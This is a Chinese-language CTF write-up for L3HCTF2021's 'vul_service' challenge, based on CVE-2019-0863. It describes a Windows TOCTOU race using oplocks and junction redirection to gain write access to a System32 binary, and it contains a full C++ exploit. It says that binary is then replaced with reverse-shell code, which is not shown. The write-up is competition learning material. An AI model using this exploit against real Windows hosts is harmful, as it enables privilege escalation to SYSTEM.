Contents

L3HCTF2021

L3HCTF2021 PWN

躺了个第一,被带飞了。

看了一下只有这题值得记录👇

vul_service

分析

题目来自CVE-2019-0863,注册了一个系统服务,功能是会不断遍历tmp目录下文件,读取其权限并写回去,注意到是根据文件名来判断并且没有加锁,考虑使用TOCTOU来攻击。

参考这篇文章了解TOCTOU,比较好理解的一种条件竞争,使用SetOplock在读取时锁住,并修改符号链接即可非预期修改别的文件的权限。通过这里主要学到了很多windows的知识,如权限控制的DACL,计划任务等。

思路

感谢FMYY和2st的帮助。

首先在tmp同级创建一个target目录,其中创建同名文件vul_service.exe,这里建议从system32中直接复制出来并删除继承关系,这样就有了Attacker的权限。

主要思路就是在tmp创建一个符号链接指target,用SetOplock锁住该同名文件。当计划任务访问时,删除符号链接并创建一个指向system32的,就可以把权限写给System32中的漏洞程序,然后替换为反弹shell的恶意代码即可。

exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#include "stdafx.h"
#include<tchar.h>
#include<strsafe.h>
#include "TcpClient.h"
static FileOpLock* oplock = nullptr;
static bstr_t target_2;
#define BUFSIZE 4096
void HandleOplock()
{

	DebugPrintf("OpLock Triggered");
	
	STARTUPINFO si;
	PROCESS_INFORMATION pi;

	ZeroMemory(&si, sizeof(STARTUPINFO));
	ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

	si.cb = sizeof(STARTUPINFO);

	RemoveDirectoryW(L"C:\\Users\\Public\\tmp\\1");

	WCHAR CMDLine[BUFSIZE];
	ZeroMemory(CMDLine, BUFSIZE);
	StringCchCat(CMDLine, BUFSIZE, L"cmd /c mklink /J C:\\Users\\Public\\tmp\\1  C:\\Windows\\System32");

	CreateProcess(nullptr, CMDLine, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);

	CloseHandle(pi.hThread);
	CloseHandle(pi.hProcess);

	Sleep(2000);
	
}

int _tmain(int argc, _TCHAR* argv[])
{
	wprintf_s(L"[+] hrnPA !\n");

	STARTUPINFO si;
	PROCESS_INFORMATION pi;

	ZeroMemory(&si, sizeof(STARTUPINFO));
	ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

	si.cb = sizeof(STARTUPINFO);

	RemoveDirectoryW(L"C:\\Users\\Public\\tmp\\1");

	WCHAR CMDLine[BUFSIZE];
	ZeroMemory(CMDLine, BUFSIZE);
	StringCchCat(CMDLine, BUFSIZE, L"cmd /c mklink /J C:\\Users\\Public\\tmp\\1  C:\\Users\\Public\\target");

	CreateProcess(nullptr, CMDLine, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);

	CloseHandle(pi.hThread);
	CloseHandle(pi.hProcess);
	//Sleep(2000);
	int sign = 0;
	if (argc < 2)
	{
		printf("Usage: SetOpLock target [rwdx]\n");
		printf("Share Mode:\n");
		printf("r - FILE_SHARE_READ\n");
		printf("w - FILE_SHARE_WRITE\n");
		printf("d - FILE_SHARE_DELETE\n");
		printf("x - Exclusive lock\n");
		sign = 1;
	}
	else
	{
		LPCWSTR target = argv[1];
		LPCWSTR share_mode = argc > 2 ? argv[2] : L"";

		oplock = FileOpLock::CreateLock(target, share_mode, HandleOplock);
		if (oplock != nullptr)
		{
			oplock->WaitForLock(INFINITE);
			delete oplock;

		}
		else
		{
			printf("Error creating oplock\n");
			return 1;
		}
	}
	if (sign) {
		TcpClient tcpClient;
		int iRes = 0;

		wprintf_s(L"[+] Trigger launched.\n");
		wprintf_s(L"[*] TCP connecting...\n");


		wprintf_s(L"[*] Waiting for the VulService to be Execute...\n");


		Sleep(50000);

		iRes = tcpClient.connectTCP("127.0.0.1", "1337");

		if (iRes != 0)
		{
			wprintf_s(L"[*] Retrying ...\n");

			iRes = tcpClient.connectTCP("127.0.0.1", "1337");
		}

		if (iRes != 0)
		{
			wprintf_s(L"[*] Retrying ...\n");


			iRes = tcpClient.connectTCP("127.0.0.1", "1337");
		}

		if (iRes != 0)
		{
			wprintf_s(L"[-] Exploit failed.");
		}
		else
		{
			wprintf_s(L"[+] Exploit successfull.");
		}
	}
	return 0;
}

效果如下: ./1.png 此时替换为反弹shell的恶意代码即可。